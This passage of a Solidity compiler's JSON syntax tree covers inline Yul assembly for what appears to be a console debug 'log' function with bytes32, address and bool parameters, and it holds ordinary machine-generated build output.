"value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"321818:6:22","nodeType":"YulIdentifier","src":"321818:6:22"},"nativeSrc":"321818:18:22","nodeType":"YulFunctionCall","src":"321818:18:22"},"nativeSrc":"321818:18:22","nodeType":"YulExpressionStatement","src":"321818:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"321856:4:22","nodeType":"YulLiteral","src":"321856:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"321862:2:22","nodeType":"YulIdentifier","src":"321862:2:22"}],"functionName":{"name":"mstore","nativeSrc":"321849:6:22","nodeType":"YulIdentifier","src":"321849:6:22"},"nativeSrc":"321849:16:22","nodeType":"YulFunctionCall","src":"321849:16:22"},"nativeSrc":"321849:16:22","nodeType":"YulExpressionStatement","src":"321849:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"321885:4:22","nodeType":"YulLiteral","src":"321885:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"321891:4:22","nodeType":"YulLiteral","src":"321891:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"321878:6:22","nodeType":"YulIdentifier","src":"321878:6:22"},"nativeSrc":"321878:18:22","nodeType":"YulFunctionCall","src":"321878:18:22"},"nativeSrc":"321878:18:22","nodeType":"YulExpressionStatement","src":"321878:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"321916:4:22","nodeType":"YulLiteral","src":"321916:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"321922:2:22","nodeType":"YulIdentifier","src":"321922:2:22"}],"functionName":{"name":"mstore","nativeSrc":"321909:6:22","nodeType":"YulIdentifier","src":"321909:6:22"},"nativeSrc":"321909:16:22","nodeType":"YulFunctionCall","src":"321909:16:22"},"nativeSrc":"321909:16:22","nodeType":"YulExpressionStatement","src":"321909:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"321950:4:22","nodeType":"YulLiteral","src":"321950:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"321956:2:22","nodeType":"YulIdentifier","src":"321956:2:22"}],"functionName":{"name":"writeString","nativeSrc":"321938:11:22","nodeType":"YulIdentifier","src":"321938:11:22"},"nativeSrc":"321938:21:22","nodeType":"YulFunctionCall","src":"321938:21:22"},"nativeSrc":"321938:21:22","nodeType":"YulExpressionStatement","src":"321938:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"321984:4:22","nodeType":"YulLiteral","src":"321984:4:22","type":"","value":"0xe0"},{"name":"p2","nativeSrc":"321990:2:22","nodeType":"YulIdentifier","src":"321990:2:22"}],"functionName":{"name":"writeString","nativeSrc":"321972:11:22","nodeType":"YulIdentifier","src":"321972:11:22"},"nativeSrc":"321972:21:22","nodeType":"YulFunctionCall","src":"321972:21:22"},"nativeSrc":"321972:21:22","nodeType":"YulExpressionStatement","src":"321972:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44294,"isOffset":false,"isSlot":false,"src":"321448:2:22","valueSize":1},{"declaration":44297,"isOffset":false,"isSlot":false,"src":"321478:2:22","valueSize":1},{"declaration":44300,"isOffset":false,"isSlot":false,"src":"321508:2:22","valueSize":1},{"declaration":44303,"isOffset":false,"isSlot":false,"src":"321538:2:22","valueSize":1},{"declaration":44306,"isOffset":false,"isSlot":false,"src":"321568:2:22","valueSize":1},{"declaration":44309,"isOffset":false,"isSlot":false,"src":"321598:2:22","valueSize":1},{"declaration":44312,"isOffset":false,"isSlot":false,"src":"321628:2:22","valueSize":1},{"declaration":44315,"isOffset":false,"isSlot":false,"src":"321658:2:22","valueSize":1},{"declaration":44318,"isOffset":false,"isSlot":false,"src":"321688:2:22","valueSize":1},{"declaration":44284,"isOffset":false,"isSlot":false,"src":"321956:2:22","valueSize":1},{"declaration":44286,"isOffset":false,"isSlot":false,"src":"321862:2:22","valueSize":1},{"declaration":44288,"isOffset":false,"isSlot":false,"src":"321990:2:22","valueSize":1},{"declaration":44290,"isOffset":false,"isSlot":false,"src":"321922:2:22","valueSize":1}],"id":44320,"nodeType":"InlineAssembly","src":"321070:933:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":44322,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"322028:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":44323,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"322034:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":44321,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"322012:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":44324,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"322012:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":44325,"nodeType":"ExpressionStatement","src":"322012:28:22"},{"AST":{"nativeSrc":"322059:273:22","nodeType":"YulBlock","src":"322059:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"322080:4:22","nodeType":"YulLiteral","src":"322080:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"322086:2:22","nodeType":"YulIdentifier","src":"322086:2:22"}],"functionName":{"name":"mstore","nativeSrc":"322073:6:22","nodeType":"YulIdentifier","src":"322073:6:22"},"nativeSrc":"322073:16:22","nodeType":"YulFunctionCall","src":"322073:16:22"},"nativeSrc":"322073:16:22","nodeType":"YulExpressionStatement","src":"322073:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"322109:4:22","nodeType":"YulLiteral","src":"322109:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"322115:2:22","nodeType":"YulIdentifier","src":"322115:2:22"}],"functionName":{"name":"mstore","nativeSrc":"322102:6:22","nodeType":"YulIdentifier","src":"322102:6:22"},"nativeSrc":"322102:16:22","nodeType":"YulFunctionCall","src":"322102:16:22"},"nativeSrc":"322102:16:22","nodeType":"YulExpressionStatement","src":"322102:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"322138:4:22","nodeType":"YulLiteral","src":"322138:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"322144:2:22","nodeType":"YulIdentifier","src":"322144:2:22"}],"functionName":{"name":"mstore","nativeSrc":"322131:6:22","nodeType":"YulIdentifier","src":"322131:6:22"},"nativeSrc":"322131:16:22","nodeType":"YulFunctionCall","src":"322131:16:22"},"nativeSrc":"322131:16:22","nodeType":"YulExpressionStatement","src":"322131:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"322167:4:22","nodeType":"YulLiteral","src":"322167:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"322173:2:22","nodeType":"YulIdentifier","src":"322173:2:22"}],"functionName":{"name":"mstore","nativeSrc":"322160:6:22","nodeType":"YulIdentifier","src":"322160:6:22"},"nativeSrc":"322160:16:22","nodeType":"YulFunctionCall","src":"322160:16:22"},"nativeSrc":"322160:16:22","nodeType":"YulExpressionStatement","src":"322160:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"322196:4:22","nodeType":"YulLiteral","src":"322196:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"322202:2:22","nodeType":"YulIdentifier","src":"322202:2:22"}],"functionName":{"name":"mstore","nativeSrc":"322189:6:22","nodeType":"YulIdentifier","src":"322189:6:22"},"nativeSrc":"322189:16:22","nodeType":"YulFunctionCall","src":"322189:16:22"},"nativeSrc":"322189:16:22","nodeType":"YulExpressionStatement","src":"322189:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"322225:4:22","nodeType":"YulLiteral","src":"322225:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"322231:2:22","nodeType":"YulIdentifier","src":"322231:2:22"}],"functionName":{"name":"mstore","nativeSrc":"322218:6:22","nodeType":"YulIdentifier","src":"322218:6:22"},"nativeSrc":"322218:16:22","nodeType":"YulFunctionCall","src":"322218:16:22"},"nativeSrc":"322218:16:22","nodeType":"YulExpressionStatement","src":"322218:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"322254:4:22","nodeType":"YulLiteral","src":"322254:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"322260:2:22","nodeType":"YulIdentifier","src":"322260:2:22"}],"functionName":{"name":"mstore","nativeSrc":"322247:6:22","nodeType":"YulIdentifier","src":"322247:6:22"},"nativeSrc":"322247:16:22","nodeType":"YulFunctionCall","src":"322247:16:22"},"nativeSrc":"322247:16:22","nodeType":"YulExpressionStatement","src":"322247:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"322283:4:22","nodeType":"YulLiteral","src":"322283:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"322289:2:22","nodeType":"YulIdentifier","src":"322289:2:22"}],"functionName":{"name":"mstore","nativeSrc":"322276:6:22","nodeType":"YulIdentifier","src":"322276:6:22"},"nativeSrc":"322276:16:22","nodeType":"YulFunctionCall","src":"322276:16:22"},"nativeSrc":"322276:16:22","nodeType":"YulExpressionStatement","src":"322276:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"322312:5:22","nodeType":"YulLiteral","src":"322312:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"322319:2:22","nodeType":"YulIdentifier","src":"322319:2:22"}],"functionName":{"name":"mstore","nativeSrc":"322305:6:22","nodeType":"YulIdentifier","src":"322305:6:22"},"nativeSrc":"322305:17:22","nodeType":"YulFunctionCall","src":"322305:17:22"},"nativeSrc":"322305:17:22","nodeType":"YulExpressionStatement","src":"322305:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44294,"isOffset":false,"isSlot":false,"src":"322086:2:22","valueSize":1},{"declaration":44297,"isOffset":false,"isSlot":false,"src":"322115:2:22","valueSize":1},{"declaration":44300,"isOffset":false,"isSlot":false,"src":"322144:2:22","valueSize":1},{"declaration":44303,"isOffset":false,"isSlot":false,"src":"322173:2:22","valueSize":1},{"declaration":44306,"isOffset":false,"isSlot":false,"src":"322202:2:22","valueSize":1},{"declaration":44309,"isOffset":false,"isSlot":false,"src":"322231:2:22","valueSize":1},{"declaration":44312,"isOffset":false,"isSlot":false,"src":"322260:2:22","valueSize":1},{"declaration":44315,"isOffset":false,"isSlot":false,"src":"322289:2:22","valueSize":1},{"declaration":44318,"isOffset":false,"isSlot":false,"src":"322319:2:22","valueSize":1}],"id":44326,"nodeType":"InlineAssembly","src":"322050:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"320817:3:22","parameters":{"id":44291,"nodeType":"ParameterList","parameters":[{"constant":false,"id":44284,"mutability":"mutable","name":"p0","nameLocation":"320829:2:22","nodeType":"VariableDeclaration","scope":44328,"src":"320821:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44283,"name":"bytes32","nodeType":"ElementaryTypeName","src":"320821:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44286,"mutability":"mutable","name":"p1","nameLocation":"320841:2:22","nodeType":"VariableDeclaration","scope":44328,"src":"320833:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":44285,"name":"address","nodeType":"ElementaryTypeName","src":"320833:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":44288,"mutability":"mutable","name":"p2","nameLocation":"320853:2:22","nodeType":"VariableDeclaration","scope":44328,"src":"320845:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44287,"name":"bytes32","nodeType":"ElementaryTypeName","src":"320845:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44290,"mutability":"mutable","name":"p3","nameLocation":"320862:2:22","nodeType":"VariableDeclaration","scope":44328,"src":"320857:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44289,"name":"bool","nodeType":"ElementaryTypeName","src":"320857:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"320820:45:22"},"returnParameters":{"id":44292,"nodeType":"ParameterList","parameters":[],"src":"320880:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":44374,"nodeType":"FunctionDefinition","src":"322344:1536:22","nodes":[],"body":{"id":44373,"nodeType":"Block","src":"322419:1461:22","nodes":[],"statements":[{"assignments":[44340],"declarations":[{"constant":false,"id":44340,"mutability":"mutable","name":"m0","nameLocation":"322437:2:22","nodeType":"VariableDeclaration","scope":44373,"src":"322429:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44339,"name":"bytes32","nodeType":"ElementaryTypeName","src":"322429:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44341,"nodeType":"VariableDeclarationStatement","src":"322429:10:22"},{"assignments":[44343],"declarations":[{"constant":false,"id":44343,"mutability":"mutable","name":"m1","nameLocation":"322457:2:22","nodeType":"VariableDeclaration","scope":44373,"src":"322449:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44342,"name":"bytes32","nodeType":"ElementaryTypeName","src":"322449:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44344,"nodeType":"VariableDeclarationStatement","src":"322449:10:22"},{"assignments":[44346],"declarations":[{"constant":false,"id":44346,"mutability":"mutable","name":"m2","nameLocation":"322477:2:22","nodeType":"VariableDeclaration","scope":44373,"src":"322469:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44345,"name":"bytes32","nodeType":"ElementaryTypeName","src":"322469:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44347,"nodeType":"VariableDeclarationStatement","src":"322469:10:22"},{"assignments":[44349],"declarations":[{"constant":false,"id":44349,"mutability":"mutable","name":"m3","nameLocation":"322497:2:22","nodeType":"VariableDeclaration","scope":44373,"src":"322489:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44348,"name":"bytes32","nodeType":"ElementaryTypeName","src":"322489:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44350,"nodeType":"VariableDeclarationStatement","src":"322489:10:22"},{"assignments":[44352],"declarations":[{"constant":false,"id":44352,"mutability":"mutable","name":"m4","nameLocation":"322517:2:22","nodeType":"VariableDeclaration","scope":44373,"src":"322509:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44351,"name":"bytes32","nodeType":"ElementaryTypeName","src":"322509:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44353,"nodeType":"VariableDeclarationStatement","src":"322509:10:22"},{"assignments":[44355],"declarations":[{"constant":false,"id":44355,"mutability":"mutable","name":"m5","nameLocation":"322537:2:22","nodeType":"VariableDeclaration","scope":44373,"src":"322529:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44354,"name":"bytes32","nodeType":"ElementaryTypeName","src":"322529:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44356,"nodeType":"VariableDeclarationStatement","src":"322529:10:22"},{"assignments":[44358],"declarations":[{"constant":false,"id":44358,"mutability":"mutable","name":"m6","nameLocation":"322557:2:22","nodeType":"VariableDeclaration","scope":44373,"src":"322549:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44357,"name":"bytes32","nodeType":"ElementaryTypeName","src":"322549:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44359,"nodeType":"VariableDeclarationStatement","src":"322549:10:22"},{"assignments":[44361],"declarations":[{"constant":false,"id":44361,"mutability":"mutable","name":"m7","nameLocation":"322577:2:22","nodeType":"VariableDeclaration","scope":44373,"src":"322569:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44360,"name":"bytes32","nodeType":"ElementaryTypeName","src":"322569:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44362,"nodeType":"VariableDeclarationStatement","src":"322569:10:22"},{"assignments":[44364],"declarations":[{"constant":false,"id":44364,"mutability":"mutable","name":"m8","nameLocation":"322597:2:22","nodeType":"VariableDeclaration","scope":44373,"src":"322589:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44363,"name":"bytes32","nodeType":"ElementaryTypeName","src":"322589:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44365,"nodeType":"VariableDeclarationStatement","src":"322589:10:22"},{"AST":{"nativeSrc":"322618:927:22","nodeType":"YulBlock","src":"322618:927:22","statements":[{"body":{"nativeSrc":"322661:313:22","nodeType":"YulBlock","src":"322661:313:22","statements":[{"nativeSrc":"322679:15:22","nodeType":"YulVariableDeclaration","src":"322679:15:22","value":{"kind":"number","nativeSrc":"322693:1:22","nodeType":"YulLiteral","src":"322693:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"322683:6:22","nodeType":"YulTypedName","src":"322683:6:22","type":""}]},{"body":{"nativeSrc":"322764:40:22","nodeType":"YulBlock","src":"322764:40:22","statements":[{"body":{"nativeSrc":"322793:9:22","nodeType":"YulBlock","src":"322793:9:22","statements":[{"nativeSrc":"322795:5:22","nodeType":"YulBreak","src":"322795:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"322781:6:22","nodeType":"YulIdentifier","src":"322781:6:22"},{"name":"w","nativeSrc":"322789:1:22","nodeType":"YulIdentifier","src":"322789:1:22"}],"functionName":{"name":"byte","nativeSrc":"322776:4:22","nodeType":"YulIdentifier","src":"322776:4:22"},"nativeSrc":"322776:15:22","nodeType":"YulFunctionCall","src":"322776:15:22"}],"functionName":{"name":"iszero","nativeSrc":"322769:6:22","nodeType":"YulIdentifier","src":"322769:6:22"},"nativeSrc":"322769:23:22","nodeType":"YulFunctionCall","src":"322769:23:22"},"nativeSrc":"322766:36:22","nodeType":"YulIf","src":"322766:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"322721:6:22","nodeType":"YulIdentifier","src":"322721:6:22"},{"kind":"number","nativeSrc":"322729:4:22","nodeType":"YulLiteral","src":"322729:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"322718:2:22","nodeType":"YulIdentifier","src":"322718:2:22"},"nativeSrc":"322718:16:22","nodeType":"YulFunctionCall","src":"322718:16:22"},"nativeSrc":"322711:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"322735:28:22","nodeType":"YulBlock","src":"322735:28:22","statements":[{"nativeSrc":"322737:24:22","nodeType":"YulAssignment","src":"322737:24:22","value":{"arguments":[{"name":"length","nativeSrc":"322751:6:22","nodeType":"YulIdentifier","src":"322751:6:22"},{"kind":"number","nativeSrc":"322759:1:22","nodeType":"YulLiteral","src":"322759:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"322747:3:22","nodeType":"YulIdentifier","src":"322747:3:22"},"nativeSrc":"322747:14:22","nodeType":"YulFunctionCall","src":"322747:14:22"},"variableNames":[{"name":"length","nativeSrc":"322737:6:22","nodeType":"YulIdentifier","src":"322737:6:22"}]}]},"pre":{"nativeSrc":"322715:2:22","nodeType":"YulBlock","src":"322715:2:22","statements":[]},"src":"322711:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"322828:3:22","nodeType":"YulIdentifier","src":"322828:3:22"},{"name":"length","nativeSrc":"322833:6:22","nodeType":"YulIdentifier","src":"322833:6:22"}],"functionName":{"name":"mstore","nativeSrc":"322821:6:22","nodeType":"YulIdentifier","src":"322821:6:22"},"nativeSrc":"322821:19:22","nodeType":"YulFunctionCall","src":"322821:19:22"},"nativeSrc":"322821:19:22","nodeType":"YulExpressionStatement","src":"322821:19:22"},{"nativeSrc":"322857:37:22","nodeType":"YulVariableDeclaration","src":"322857:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"322874:3:22","nodeType":"YulLiteral","src":"322874:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"322883:1:22","nodeType":"YulLiteral","src":"322883:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"322886:6:22","nodeType":"YulIdentifier","src":"322886:6:22"}],"functionName":{"name":"shl","nativeSrc":"322879:3:22","nodeType":"YulIdentifier","src":"322879:3:22"},"nativeSrc":"322879:14:22","nodeType":"YulFunctionCall","src":"322879:14:22"}],"functionName":{"name":"sub","nativeSrc":"322870:3:22","nodeType":"YulIdentifier","src":"322870:3:22"},"nativeSrc":"322870:24:22","nodeType":"YulFunctionCall","src":"322870:24:22"},"variables":[{"name":"shift","nativeSrc":"322861:5:22","nodeType":"YulTypedName","src":"322861:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"322922:3:22","nodeType":"YulIdentifier","src":"322922:3:22"},{"kind":"number","nativeSrc":"322927:4:22","nodeType":"YulLiteral","src":"322927:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"322918:3:22","nodeType":"YulIdentifier","src":"322918:3:22"},"nativeSrc":"322918:14:22","nodeType":"YulFunctionCall","src":"322918:14:22"},{"arguments":[{"name":"shift","nativeSrc":"322938:5:22","nodeType":"YulIdentifier","src":"322938:5:22"},{"arguments":[{"name":"shift","nativeSrc":"322949:5:22","nodeType":"YulIdentifier","src":"322949:5:22"},{"name":"w","nativeSrc":"322956:1:22","nodeType":"YulIdentifier","src":"322956:1:22"}],"functionName":{"name":"shr","nativeSrc":"322945:3:22","nodeType":"YulIdentifier","src":"322945:3:22"},"nativeSrc":"322945:13:22","nodeType":"YulFunctionCall","src":"322945:13:22"}],"functionName":{"name":"shl","nativeSrc":"322934:3:22","nodeType":"YulIdentifier","src":"322934:3:22"},"nativeSrc":"322934:25:22","nodeType":"YulFunctionCall","src":"322934:25:22"}],"functionName":{"name":"mstore","nativeSrc":"322911:6:22","nodeType":"YulIdentifier","src":"322911:6:22"},"nativeSrc":"322911:49:22","nodeType":"YulFunctionCall","src":"322911:49:22"},"nativeSrc":"322911:49:22","nodeType":"YulExpressionStatement","src":"322911:49:22"}]},"name":"writeString","nativeSrc":"322632:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"322653:3:22","nodeType":"YulTypedName","src":"322653:3:22","type":""},{"name":"w","nativeSrc":"322658:1:22","nodeType":"YulTypedName","src":"322658:1:22","type":""}],"src":"322632:342:22"},{"nativeSrc":"322987:17:22","nodeType":"YulAssignment","src":"322987:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"322999:4:22","nodeType":"YulLiteral","src":"322999:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"322993:5:22","nodeType":"YulIdentifier","src":"322993:5:22"},"nativeSrc":"322993:11:22","nodeType":"YulFunctionCall","src":"322993:11:22"},"variableNames":[{"name":"m0","nativeSrc":"322987:2:22","nodeType":"YulIdentifier","src":"322987:2:22"}]},{"nativeSrc":"323017:17:22","nodeType":"YulAssignment","src":"323017:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"323029:4:22","nodeType":"YulLiteral","src":"323029:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"323023:5:22","nodeType":"YulIdentifier","src":"323023:5:22"},"nativeSrc":"323023:11:22","nodeType":"YulFunctionCall","src":"323023:11:22"},"variableNames":[{"name":"m1","nativeSrc":"323017:2:22","nodeType":"YulIdentifier","src":"323017:2:22"}]},{"nativeSrc":"323047:17:22","nodeType":"YulAssignment","src":"323047:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"323059:4:22","nodeType":"YulLiteral","src":"323059:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"323053:5:22","nodeType":"YulIdentifier","src":"323053:5:22"},"nativeSrc":"323053:11:22","nodeType":"YulFunctionCall","src":"323053:11:22"},"variableNames":[{"name":"m2","nativeSrc":"323047:2:22","nodeType":"YulIdentifier","src":"323047:2:22"}]},{"nativeSrc":"323077:17:22","nodeType":"YulAssignment","src":"323077:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"323089:4:22","nodeType":"YulLiteral","src":"323089:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"323083:5:22","nodeType":"YulIdentifier","src":"323083:5:22"},"nativeSrc":"323083:11:22","nodeType":"YulFunctionCall","src":"323083:11:22"},"variableNames":[{"name":"m3","nativeSrc":"323077:2:22","nodeType":"YulIdentifier","src":"323077:2:22"}]},{"nativeSrc":"323107:17:22","nodeType":"YulAssignment","src":"323107:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"323119:4:22","nodeType":"YulLiteral","src":"323119:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"323113:5:22","nodeType":"YulIdentifier","src":"323113:5:22"},"nativeSrc":"323113:11:22","nodeType":"YulFunctionCall","src":"323113:11:22"},"variableNames":[{"name":"m4","nativeSrc":"323107:2:22","nodeType":"YulIdentifier","src":"323107:2:22"}]},{"nativeSrc":"323137:17:22","nodeType":"YulAssignment","src":"323137:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"323149:4:22","nodeType":"YulLiteral","src":"323149:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"323143:5:22","nodeType":"YulIdentifier","src":"323143:5:22"},"nativeSrc":"323143:11:22","nodeType":"YulFunctionCall","src":"323143:11:22"},"variableNames":[{"name":"m5","nativeSrc":"323137:2:22","nodeType":"YulIdentifier","src":"323137:2:22"}]},{"nativeSrc":"323167:17:22","nodeType":"YulAssignment","src":"323167:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"323179:4:22","nodeType":"YulLiteral","src":"323179:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"323173:5:22","nodeType":"YulIdentifier","src":"323173:5:22"},"nativeSrc":"323173:11:22","nodeType":"YulFunctionCall","src":"323173:11:22"},"variableNames":[{"name":"m6","nativeSrc":"323167:2:22","nodeType":"YulIdentifier","src":"323167:2:22"}]},{"nativeSrc":"323197:17:22","nodeType":"YulAssignment","src":"323197:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"323209:4:22","nodeType":"YulLiteral","src":"323209:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"323203:5:22","nodeType":"YulIdentifier","src":"323203:5:22"},"nativeSrc":"323203:11:22","nodeType":"YulFunctionCall","src":"323203:11:22"},"variableNames":[{"name":"m7","nativeSrc":"323197:2:22","nodeType":"YulIdentifier","src":"323197:2:22"}]},{"nativeSrc":"323227:18:22","nodeType":"YulAssignment","src":"323227:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"323239:5:22","nodeType":"YulLiteral","src":"323239:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"323233:5:22","nodeType":"YulIdentifier","src":"323233:5:22"},"nativeSrc":"323233:12:22","nodeType":"YulFunctionCall","src":"323233:12:22"},"variableNames":[{"name":"m8","nativeSrc":"323227:2:22","nodeType":"YulIdentifier","src":"323227:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"323330:4:22","nodeType":"YulLiteral","src":"323330:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"323336:10:22","nodeType":"YulLiteral","src":"323336:10:22","type":"","value":"0x91d1112e"}],"functionName":{"name":"mstore","nativeSrc":"323323:6:22","nodeType":"YulIdentifier","src":"323323:6:22"},"nativeSrc":"323323:24:22","nodeType":"YulFunctionCall","src":"323323:24:22"},"nativeSrc":"323323:24:22","nodeType":"YulExpressionStatement","src":"323323:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"323367:4:22","nodeType":"YulLiteral","src":"323367:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"323373:4:22","nodeType":"YulLiteral","src":"323373:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"323360:6:22","nodeType":"YulIdentifier","src":"323360:6:22"},"nativeSrc":"323360:18:22","nodeType":"YulFunctionCall","src":"323360:18:22"},"nativeSrc":"323360:18:22"